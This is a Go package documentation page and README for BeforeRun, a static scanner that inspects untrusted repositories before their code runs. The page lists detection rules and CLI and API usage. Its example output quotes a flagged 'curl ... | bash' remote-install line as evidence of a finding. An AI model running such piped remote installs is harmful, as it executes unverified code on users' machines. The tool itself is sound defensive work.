beforerun

package module
v1.3.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Aug 14, 2026 License: MIT Imports: 9 Imported by: ? modules, 0 packages

The first number is the count of modules that contain a package that imports this one. The module count is a better indicator of popularity than the package count. A module with 100 importing packages is counted only once instead of 100 times, reflecting the fact that the choice to use the package was likely made only once, not 100 times.
A '?' means that the value hasn't been computed yet.

README

Zero-dependency security intake scanner for untrusted repositories.

CI Go Reference Official Website

Official website · Official Go module · Latest release

Inspect a repository before the repository inspects your machine.

BeforeRun is a local-first Go security tool that scans an unfamiliar codebase before you install dependencies, trust an editor workspace, build a dev container, or execute project scripts. It is available as both a command-line application and an importable Go package.

BeforeRun never executes repository code, installs dependencies, or uploads scanned contents.

What it detects

  • automatic package lifecycle scripts;
  • VS Code folder-open tasks and terminal overrides;
  • dev-container initialization and post-create hooks;
  • remote downloads piped directly into shells;
  • encoded and dynamic PowerShell execution;
  • possible committed credentials and private keys;
  • executable or dynamic binary artifacts;
  • symbolic links escaping the repository root;
  • suspicious local or relative submodules;
  • bidirectional Unicode source deception;
  • GitHub Actions pull_request_target / workflow_run privilege risks and permissions: write-all.

Install the CLI

go install github.com/theworker02/beforerun/cmd/beforerun@latest

Or build from source:

git clone https://github.com/theworker02/beforerun.git
cd beforerun
go build -o beforerun ./cmd/beforerun

CLI usage

# Scan the current directory
beforerun scan .

# Block on medium-or-higher findings
beforerun scan . --fail-on medium

# Machine-readable output
beforerun scan ./untrusted-repo --format json

# Ignore organization-specific paths
beforerun scan . --ignore fixtures,third_party/cache

# Print the installed version
beforerun version

Example output:

BeforeRun BLOCK — risk 53/100 (HIGH)
Scanned 29 files (184.2 KiB) in /work/untrusted-repo
Findings: 1 critical, 1 high, 0 medium, 0 low | fail-on=high

[CRITICAL] BR004 scripts/install.sh:7
  remote content is piped directly into a command shell
  Evidence: curl https://example.invalid/install.sh | bash
  Fix: Download the content separately, verify its source and checksum, then inspect it before execution.

Use BeforeRun as a Go module

Official module documentation: pkg.go.dev/github.com/theworker02/beforerun

go get github.com/theworker02/beforerun
package main

import (
    "fmt"
    "log"

    "github.com/theworker02/beforerun"
)

func main() {
    summary, err := beforerun.Scan("./untrusted-repo", beforerun.Options{
        Threshold: beforerun.SeverityHigh,
        Ignores:   []string{"fixtures"},
    })
    if err != nil {
        log.Fatal(err)
    }

    fmt.Printf("risk=%d findings=%d blocked=%t\n",
        summary.RiskScore,
        len(summary.Findings),
        summary.ThresholdMet,
    )
}

The public package exports Scan, Options, Summary, Finding, severity constants, ParseSeverity, and .beforerunignore parsing.

Package map

Path Purpose
github.com/theworker02/beforerun Public reusable scanning API
cmd/beforerun Command-line application
internal/scanner Filesystem walker and detection engine
internal/model Findings, severity, and summary data model
internal/report Text and JSON report renderers

Exit codes

Code Meaning
0 No finding met the configured threshold
1 At least one finding met the threshold
2 Invalid arguments or scan failure

Detection rules

Rule Detects Default severity
BR001 Automatic package lifecycle scripts Medium–High
BR002 VS Code folder-open tasks and terminal overrides Medium–High
BR003 Dev container command hooks Medium
BR004 Remote content piped directly to a shell Critical
BR005 Dynamic or encoded PowerShell execution High–Critical
BR006 Possible committed credentials/private keys High–Critical
BR007 Bidirectional Unicode source controls High
BR008 Local or relative Git submodule URLs High
BR009 Executable and dynamic binary artifacts Medium–High
BR010 Executable script files Low
BR011 Symlinks escaping the repository root High
BR012 GitHub Actions privilege and untrusted-content risks High–Critical

See docs/rules.md for rationale and remediation guidance.

Ignore file

Create .beforerunignore in the scan root. Each non-empty line is a repository-relative path prefix. Lines beginning with # are comments.

# Known test fixtures
internal/testdata
examples/expected-binaries

BeforeRun ignores common generated directories by default, including .git, node_modules, vendor, dist, build, .next, .turbo, and coverage.

CI and releases

Every push and pull request runs formatting verification, go vet, race-enabled tests, a full build, and a BeforeRun self-scan. Version tags matching v* invoke GoReleaser to produce checksummed Windows, Linux, and macOS archives for AMD64 and ARM64.

- name: Scan repository execution surfaces
  run: go run ./cmd/beforerun scan . --fail-on high

Development

make check

Equivalent commands:

gofmt -w .
go vet ./...
go test -race ./...
go build ./cmd/beforerun
go run ./cmd/beforerun scan . --fail-on critical

Brand assets

Security model

BeforeRun is a fast static intake scanner, not a malware sandbox and not proof that a repository is safe. A clean report means no enabled rule matched the inspected files. Continue to review provenance, dependencies, signatures, and high-impact scripts.

See SECURITY.md for vulnerability reporting.

License

MIT © 2026 Matthew Looney

Documentation

Overview

Package beforerun provides a reusable API for statically inspecting untrusted repositories before project-controlled code is executed.

Index

Constants

View Source
const (
	SeverityInfo     = model.SeverityInfo
	SeverityLow      = model.SeverityLow
	SeverityMedium   = model.SeverityMedium
	SeverityHigh     = model.SeverityHigh
	SeverityCritical = model.SeverityCritical
)
View Source
const BaselineFormatVersion = 1

BaselineFormatVersion is the supported on-disk baseline schema version.

Variables

This section is empty.

Functions

func DiffAgainstBaseline added in v1.2.0

func DiffAgainstBaseline(root, path string, options Options) (Delta, Summary, error)

DiffAgainstBaseline scans root and compares the result with the stored baseline.

func ReadIgnoreFile

func ReadIgnoreFile(root string) ([]string, error)

ReadIgnoreFile parses .beforerunignore from root. A missing file is not an error.

func WriteBaseline added in v1.2.0

func WriteBaseline(writer io.Writer, summary Summary) error

WriteBaseline persists summary as a versioned baseline file.

Types

type Baseline added in v1.2.0

type Baseline struct {
	FormatVersion int       `json:"format_version"`
	CreatedAt     time.Time `json:"created_at"`
	Summary       Summary   `json:"summary"`
}

Baseline is a durable scan snapshot used for CI diff gates.

func ReadBaseline added in v1.2.0

func ReadBaseline(reader io.Reader) (Baseline, error)

ReadBaseline loads a baseline file written by WriteBaseline.

type Delta added in v1.1.0

type Delta struct {
	Added          []Finding        `json:"added"`
	Resolved       []Finding        `json:"resolved"`
	Escalated      []SeverityChange `json:"escalated"`
	Deescalated    []SeverityChange `json:"deescalated"`
	RiskScoreDelta int              `json:"risk_score_delta"`
}

Delta describes the security difference between two scan summaries.

func Compare added in v1.1.0

func Compare(previous, current Summary) Delta

Compare returns a deterministic delta between previous and current scans. Finding identity is based on rule, repository-relative path, line, and message.

func (Delta) Clean added in v1.1.0

func (d Delta) Clean() bool

Clean reports whether the current scan introduced no findings or severity changes.

func (Delta) IntroducesAt added in v1.1.0

func (d Delta) IntroducesAt(threshold Severity) bool

IntroducesAt reports whether the delta adds or escalates a finding at or above threshold.

type Finding

type Finding = model.Finding

Finding describes one detected repository risk.

type Options

type Options struct {
	// Threshold determines when Summary.ThresholdMet becomes true.
	Threshold Severity
	// Ignores contains repository-relative path prefixes to skip.
	Ignores []string
}

Options controls scan behavior.

type Severity

type Severity = model.Severity

Severity describes the impact of a finding.

func ParseSeverity

func ParseSeverity(value string) (Severity, bool)

ParseSeverity converts a textual severity into its typed value.

type SeverityChange added in v1.1.0

type SeverityChange struct {
	Before Finding `json:"before"`
	After  Finding `json:"after"`
}

SeverityChange records a finding whose severity changed between scans.

type Summary

type Summary = model.Summary

Summary contains the complete result of a scan.

func Scan

func Scan(root string, options Options) (Summary, error)

Scan statically inspects root without executing repository content or using the network.

Directories

Path Synopsis
cmd
beforerun command
Command beforerun scans untrusted repositories before project-controlled code is executed.
Command beforerun scans untrusted repositories before project-controlled code is executed.
internal
model
Package model defines BeforeRun's findings, severities, risk weights, and scan summary data structures.
Package model defines BeforeRun's findings, severities, risk weights, and scan summary data structures.
report
Package report renders BeforeRun scan summaries as human-readable text or machine-readable JSON.
Package report renders BeforeRun scan summaries as human-readable text or machine-readable JSON.
scanner
Package scanner statically inspects repository files for execution surfaces and suspicious content without running project-controlled code.
Package scanner statically inspects repository files for execution surfaces and suspicious content without running project-controlled code.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL